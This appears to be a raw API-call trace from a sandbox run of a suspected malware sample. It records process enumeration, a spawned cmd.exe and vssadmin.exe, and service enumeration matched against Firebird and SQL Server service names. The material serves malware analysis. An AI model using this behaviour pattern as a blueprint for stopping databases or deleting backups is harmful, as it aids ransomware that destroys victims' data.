	[0172.014] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.015] lstrlenW (lpString="svchost.exe") returned 11
	[0172.015] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.015] lstrlenW (lpString="svchost.exe") returned 11
	[0172.015] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.016] lstrlenW (lpString="svchost.exe") returned 11
	[0172.016] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.016] lstrlenW (lpString="svchost.exe") returned 11
	[0172.016] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.017] lstrlenW (lpString="svchost.exe") returned 11
	[0172.017] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.017] lstrlenW (lpString="svchost.exe") returned 11
	[0172.017] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.018] lstrlenW (lpString="svchost.exe") returned 11
	[0172.018] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.018] lstrlenW (lpString="svchost.exe") returned 11
	[0172.018] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.018] lstrlenW (lpString="svchost.exe") returned 11
	[0172.018] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.019] lstrlenW (lpString="svchost.exe") returned 11
	[0172.019] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0172.019] lstrlenW (lpString="spoolsv.exe") returned 11
	[0172.019] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.020] lstrlenW (lpString="svchost.exe") returned 11
	[0172.020] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0172.020] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0172.020] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0172.021] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0172.021] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0172.021] lstrlenW (lpString="audiodg.exe") returned 11
	[0172.021] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0172.022] lstrlenW (lpString="Memory Compression") returned 18
	[0172.022] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0172.022] lstrlenW (lpString="taskhostw.exe") returned 13
	[0172.022] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0172.022] lstrlenW (lpString="sihost.exe") returned 10
	[0172.023] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.023] lstrlenW (lpString="svchost.exe") returned 11
	[0172.023] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0172.023] lstrlenW (lpString="taskhostw.exe") returned 13
	[0172.023] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0172.024] lstrlenW (lpString="explorer.exe") returned 12
	[0172.024] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0172.024] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0172.024] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0172.025] lstrlenW (lpString="SearchUI.exe") returned 12
	[0172.025] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0172.025] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0172.025] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0172.026] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0172.026] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0172.026] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0172.026] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0172.026] lstrlenW (lpString="cmd.exe") returned 7
	[0172.027] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0172.027] lstrlenW (lpString="conhost.exe") returned 11
	[0172.027] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0172.027] lstrlenW (lpString="vssadmin.exe") returned 12
	[0172.027] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0172.028] lstrlenW (lpString="consent.exe") returned 11
	[0172.028] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0172.028] CloseHandle (hObject=0x54c) returned 1
	[0172.028] Sleep (dwMilliseconds=0x1f4) 
	[0172.722] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929e80
	[0172.727] EnumServicesStatusExW (in: hSCManager=0x3929e80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0172.727] GetLastError () returned 0xea
	[0172.727] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x4173f68
	[0172.728] EnumServicesStatusExW (in: hSCManager=0x3929e80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4173f68, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4173f68, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0172.728] CloseServiceHandle (hSCObject=0x3929e80) returned 1
	[0172.729] lstrlenW (lpString="Appinfo") returned 7
	[0172.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0172.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0172.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0172.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0172.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0172.729] lstrlenW (lpString="AppXSvc") returned 7
	[0172.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0172.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0172.729] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0172.729] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0172.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0172.729] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0172.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0172.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0172.729] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0172.729] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0172.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0172.729] lstrlenW (lpString="Audiosrv") returned 8
	[0172.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0172.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0172.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0172.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0172.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0172.729] lstrlenW (lpString="BFE") returned 3
	[0172.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0172.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0172.729] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0172.729] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0172.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0172.729] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0172.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0172.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0172.730] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0172.730] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0172.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0172.730] lstrlenW (lpString="CDPSvc") returned 6
	[0172.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0172.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0172.730] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0172.730] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0172.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0172.730] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0172.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0172.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0172.730] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0172.730] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0172.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0172.730] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0172.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0172.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0172.730] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0172.730] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0172.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0172.730] lstrlenW (lpString="CryptSvc") returned 8
	[0172.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0172.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0172.730] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0172.730] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0172.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0172.730] lstrlenW (lpString="DcomLaunch") returned 10
	[0172.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0172.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0172.730] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0172.731] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0172.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0172.731] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0172.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0172.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0172.731] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0172.731] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0172.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0172.731] lstrlenW (lpString="Dhcp") returned 4
	[0172.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0172.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0172.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0172.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0172.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0172.731] lstrlenW (lpString="Dnscache") returned 8
	[0172.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0172.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0172.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0172.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0172.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0172.731] lstrlenW (lpString="DPS") returned 3
	[0172.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0172.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0172.731] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0172.731] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0172.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0172.731] lstrlenW (lpString="DusmSvc") returned 7
	[0172.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0172.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0172.731] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0172.731] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0172.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0172.731] lstrlenW (lpString="EventLog") returned 8
	[0172.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0172.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0172.732] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0172.732] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0172.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0172.732] lstrlenW (lpString="EventSystem") returned 11
	[0172.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0172.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0172.732] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0172.732] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0172.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0172.732] lstrlenW (lpString="FontCache") returned 9
	[0172.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0172.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0172.732] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0172.732] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0172.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0172.732] lstrlenW (lpString="gpsvc") returned 5
	[0172.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0172.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0172.732] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0172.732] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0172.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0172.732] lstrlenW (lpString="iphlpsvc") returned 8
	[0172.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0172.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0172.732] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0172.732] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0172.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0172.732] lstrlenW (lpString="KeyIso") returned 6
	[0172.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0172.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0172.733] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0172.733] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0172.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0172.733] lstrlenW (lpString="LanmanServer") returned 12
	[0172.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0172.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0172.733] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0172.733] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0172.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0172.733] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0172.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0172.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0172.733] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0172.733] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0172.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0172.733] lstrlenW (lpString="lfsvc") returned 5
	[0172.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0172.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0172.733] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0172.733] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0172.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0172.733] lstrlenW (lpString="lmhosts") returned 7
	[0172.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0172.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0172.733] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0172.733] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0172.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0172.733] lstrlenW (lpString="LSM") returned 3
	[0172.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0172.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0172.733] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0172.733] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0172.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0172.734] lstrlenW (lpString="MpsSvc") returned 6
	[0172.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0172.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0172.734] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
